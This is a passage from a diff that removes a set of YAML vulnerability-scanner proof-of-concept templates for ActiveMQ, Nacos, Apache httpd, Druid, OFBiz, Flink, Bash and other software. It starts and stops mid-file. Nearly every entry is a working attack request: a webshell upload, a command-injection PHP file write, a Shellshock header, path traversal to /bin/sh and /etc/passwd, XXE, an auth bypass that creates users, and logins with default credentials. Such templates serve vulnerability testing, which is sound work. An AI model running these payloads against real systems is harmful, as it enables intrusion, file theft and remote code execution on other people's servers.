activemq.home=(?P<home>.*?),
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: MOVE
|
|
||||||
path: /fileserver/{{filename}}.txt
|
|
||||||
headers:
|
|
||||||
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 204
|
|
||||||
- method: GET
|
|
||||||
path: /api/{{filename}}.jsp
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(fileContent))
|
|
||||||
detail:
|
|
||||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-activemq-default-password
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /admin/
|
|
||||||
expression: |
|
|
||||||
response.status == 401 && response.body.bcontains(b"Unauthorized")
|
|
||||||
- method: GET
|
|
||||||
path: /admin/
|
|
||||||
headers:
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
|
|
||||||
detail:
|
|
||||||
author: pa55w0rd(www.pa55w0rd.online/)
|
|
||||||
links:
|
|
||||||
- https://blog.csdn.net/ge00111/article/details/72765210
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-airflow-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /admin/
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
|
|
||||||
detail:
|
|
||||||
author: pa55w0rd(www.pa55w0rd.online/)
|
|
||||||
links:
|
|
||||||
- http://airflow.apache.org/
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-alibaba-canal-default-password
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /api/v1/user/login
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
|
|
||||||
- method: POST
|
|
||||||
path: /api/v1/user/login
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
body: >-
|
|
||||||
{"username":"admin","password":"123456"}
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
|
|
||||||
detail:
|
|
||||||
author: jweny(https://github.com/jweny)
|
|
||||||
links:
|
|
||||||
- https://www.cnblogs.com/xiexiandong/p/12888582.html
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-alibaba-canal-info-leak
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /api/v1/canal/config/1/1
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
|
|
||||||
detail:
|
|
||||||
author: Aquilao(https://github.com/Aquilao)
|
|
||||||
info: alibaba Canal info leak
|
|
||||||
links:
|
|
||||||
- https://my.oschina.net/u/4581879/blog/4753320
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
name: poc-yaml-alibaba-nacos-v1-auth-bypass
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(16)
|
|
||||||
r2: randomLowercase(16)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
|
|
||||||
headers:
|
|
||||||
User-Agent: Nacos-Server
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
|
|
||||||
- method: GET
|
|
||||||
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
|
|
||||||
headers:
|
|
||||||
User-Agent: Nacos-Server
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(r1))
|
|
||||||
- method: DELETE
|
|
||||||
path: "/nacos/v1/auth/users?username={{r1}}"
|
|
||||||
headers:
|
|
||||||
User-Agent: Nacos-Server
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
|
|
||||||
detail:
|
|
||||||
author: kmahyyg(https://github.com/kmahyyg)
|
|
||||||
links:
|
|
||||||
- https://github.com/alibaba/nacos/issues/4593
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-alibaba-nacos
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /nacos/
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes("<title>Nacos</title>"))
|
|
||||||
detail:
|
|
||||||
author: AgeloVito
|
|
||||||
info: alibaba-nacos
|
|
||||||
login: nacos/nacos
|
|
||||||
links:
|
|
||||||
- https://blog.csdn.net/caiqiiqi/article/details/112005424
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
name: poc-yaml-amtt-hiboss-server-ping-rce
|
|
||||||
set:
|
|
||||||
r2: randomLowercase(10)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
|
|
||||||
- method: GET
|
|
||||||
path: /{{r2}}.php
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(r2)))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: YekkoY
|
|
||||||
description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
|
|
||||||
links:
|
|
||||||
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-apache-ambari-default-password
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
|
|
||||||
headers:
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
|
|
||||||
detail:
|
|
||||||
author: wulalalaaa(https://github.com/wulalalaaa)
|
|
||||||
links:
|
|
||||||
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
name: poc-yaml-apache-axis-webservice-detect
|
|
||||||
sets:
|
|
||||||
path:
|
|
||||||
- services
|
|
||||||
- servlet/AxisaxiServlet
|
|
||||||
- servlet/AxisServlet
|
|
||||||
- services/listServices
|
|
||||||
- services/FreeMarkerService
|
|
||||||
- services/AdminService
|
|
||||||
- axis/services
|
|
||||||
- axis2/services
|
|
||||||
- axis/servlet/AxisServlet
|
|
||||||
- axis2/servlet/AxisServlet
|
|
||||||
- axis2/services/listServices
|
|
||||||
- axis/services/FreeMarkerService
|
|
||||||
- axis/services/AdminService
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /{{path}}
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
|
|
||||||
detail:
|
|
||||||
author: AgeloVito
|
|
||||||
links:
|
|
||||||
- https://paper.seebug.org/1489
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
name: poc-yaml-apache-druid-cve-2021-36749
|
|
||||||
manual: true
|
|
||||||
transport: http
|
|
||||||
groups:
|
|
||||||
druid1:
|
|
||||||
- method: POST
|
|
||||||
path: /druid/indexer/v1/sampler?for=connect
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json;charset=utf-8
|
|
||||||
body: |
|
|
||||||
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
|
|
||||||
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
druid2:
|
|
||||||
- method: POST
|
|
||||||
path: /druid/indexer/v1/sampler?for=connect
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json;charset=utf-8
|
|
||||||
body: |
|
|
||||||
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
|
|
||||||
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
|
|
||||||
detail:
|
|
||||||
author: iak3ec(https://github.com/nu0l)
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
name: poc-yaml-apache-flink-upload-rce
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(8)
|
|
||||||
r2: randomLowercase(4)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jars
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
|
|
||||||
- method: POST
|
|
||||||
path: /jars/upload
|
|
||||||
headers:
|
|
||||||
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
|
|
||||||
body: |-
|
|
||||||
--8ce4b16b22b58894aa86c421e8759df3
|
|
||||||
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
|
|
||||||
Content-Type:application/octet-stream
|
|
||||||
|
|
||||||
{{r1}}
|
|
||||||
--8ce4b16b22b58894aa86c421e8759df3--
|
|
||||||
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
|
|
||||||
search: >-
|
|
||||||
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
|
|
||||||
- method: DELETE
|
|
||||||
path: '/jars/{{filen}}'
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
detail:
|
|
||||||
author: timwhite
|
|
||||||
links:
|
|
||||||
- https://github.com/LandGrey/flink-unauth-rce
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
|
|
||||||
manual: true
|
|
||||||
transport: http
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
|
|
||||||
detail:
|
|
||||||
author: Jarcis-cy(https://github.com/Jarcis-cy)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
|
|
||||||
groups:
|
|
||||||
cgibin:
|
|
||||||
- method: GET
|
|
||||||
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
icons:
|
|
||||||
- method: GET
|
|
||||||
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: JingLing(https://github.com/shmilylty)
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-apache-httpd-cve-2021-41773-rce
|
|
||||||
set:
|
|
||||||
r1: randomInt(800000000, 1000000000)
|
|
||||||
r2: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
|
|
||||||
body: echo;expr {{r1}} + {{r2}}
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
|
|
||||||
detail:
|
|
||||||
author: B1anda0(https://github.com/B1anda0)
|
|
||||||
links:
|
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /kylin/api/admin/config
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
|
|
||||||
detail:
|
|
||||||
author: JingLing(github.com/shmilylty)
|
|
||||||
links:
|
|
||||||
- https://s.tencent.com/research/bsafe/1156.html
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-apache-nifi-api-unauthorized-access
|
|
||||||
manual: true
|
|
||||||
transport: http
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /nifi-api/flow/current-user
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
|
|
||||||
detail:
|
|
||||||
author: wulalalaaa(https://github.com/wulalalaaa)
|
|
||||||
links:
|
|
||||||
- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /webtools/control/xmlrpc
|
|
||||||
headers:
|
|
||||||
Content-Type: application/xml
|
|
||||||
body: >-
|
|
||||||
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: su(https://suzzz112113.github.io/#blog)
|
|
||||||
links:
|
|
||||||
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
|
|
||||||
set:
|
|
||||||
rand: randomInt(200000000, 210000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /webtools/control/xmlrpc
|
|
||||||
headers:
|
|
||||||
Content-Type: application/xml
|
|
||||||
body: >-
|
|
||||||
<?xml
|
|
||||||
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
|
|
||||||
detail:
|
|
||||||
author: su(https://suzzz112113.github.io/#blog)
|
|
||||||
links:
|
|
||||||
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
|
|
||||||
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-aspcms-backend-leak
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /plug/oem/AspCms_OEMFun.asp
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
|
|
||||||
search: >-
|
|
||||||
(?P<path>(/(.*?).asp))
|
|
||||||
- method: GET
|
|
||||||
path: /{{path}}
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"username")
|
|
||||||
detail:
|
|
||||||
author: Hzllaga
|
|
||||||
links:
|
|
||||||
- https://www.onebug.org/wooyundata/65458.html
|
|
||||||
@@ -1,64 +0,0 @@
|
|||||||
name: poc-yaml-backup-file
|
|
||||||
set:
|
|
||||||
host: request.url.domain
|
|
||||||
sets:
|
|
||||||
path:
|
|
||||||
- "sql"
|
|
||||||
- "www"
|
|
||||||
- "wwwroot"
|
|
||||||
- "index"
|
|
||||||
- "backup"
|
|
||||||
- "back"
|
|
||||||
- "data"
|
|
||||||
- "web"
|
|
||||||
- "db"
|
|
||||||
- "database"
|
|
||||||
- "ftp"
|
|
||||||
- "admin"
|
|
||||||
- "upload"
|
|
||||||
- "package"
|
|
||||||
- "sql"
|
|
||||||
- "old"
|
|
||||||
- "test"
|
|
||||||
- "root"
|
|
||||||
- "beifen"
|
|
||||||
- host
|
|
||||||
ext:
|
|
||||||
- "zip"
|
|
||||||
- "7z"
|
|
||||||
- "rar"
|
|
||||||
- "gz"
|
|
||||||
- "tar.gz"
|
|
||||||
- "db"
|
|
||||||
- "bak"
|
|
||||||
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /{{path}}.{{ext}}
|
|
||||||
follow_redirects: false
|
|
||||||
continue: true
|
|
||||||
expression: |
|
|
||||||
response.content_type.contains("application/") &&
|
|
||||||
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
|
|
||||||
response.body.startsWith("314159265359".hexdecode()) ||
|
|
||||||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
|
|
||||||
response.body.startsWith("1f8b".hexdecode()) ||
|
|
||||||
response.body.startsWith("526172211A0700".hexdecode()) ||
|
|
||||||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
|
|
||||||
response.body.startsWith("1F9D".hexdecode()) ||
|
|
||||||
response.body.startsWith("1FA0".hexdecode()) ||
|
|
||||||
response.body.startsWith("4C5A4950".hexdecode()) ||
|
|
||||||
response.body.startsWith("504B0304".hexdecode()) )
|
|
||||||
# - "377ABCAF271C" # 7z
|
|
||||||
# - "314159265359" # bz2
|
|
||||||
# - "53514c69746520666f726d6174203300" # SQLite format 3.
|
|
||||||
# - "1f8b" # gz tar.gz
|
|
||||||
# - "526172211A0700" # rar RAR archive version 1.50
|
|
||||||
# - "526172211A070100" # rar RAR archive version 5.0
|
|
||||||
# - "FD377A585A0000" # xz tar.xz
|
|
||||||
# - "1F9D" # z tar.z
|
|
||||||
# - "1FA0" # z tar.z
|
|
||||||
# - "4C5A4950" # lz
|
|
||||||
# - "504B0304" # zip
|
|
||||||
detail:
|
|
||||||
author: shadown1ng(https://github.com/shadown1ng)
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-bash-cve-2014-6271
|
|
||||||
set:
|
|
||||||
r1: randomInt(800000000, 1000000000)
|
|
||||||
r2: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
headers:
|
|
||||||
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.body.bcontains(bytes(string(r1 + r2)))
|
|
||||||
detail:
|
|
||||||
author: neal1991(https://github.com/neal1991)
|
|
||||||
links:
|
|
||||||
- https://github.com/opsxcq/exploit-CVE-2014-6271
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-bt742-pma-unauthorized-access
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /pma/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
|
|
||||||
detail:
|
|
||||||
author: Facker007(https://github.com/Facker007)
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-cacti-weathermap-file-write
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
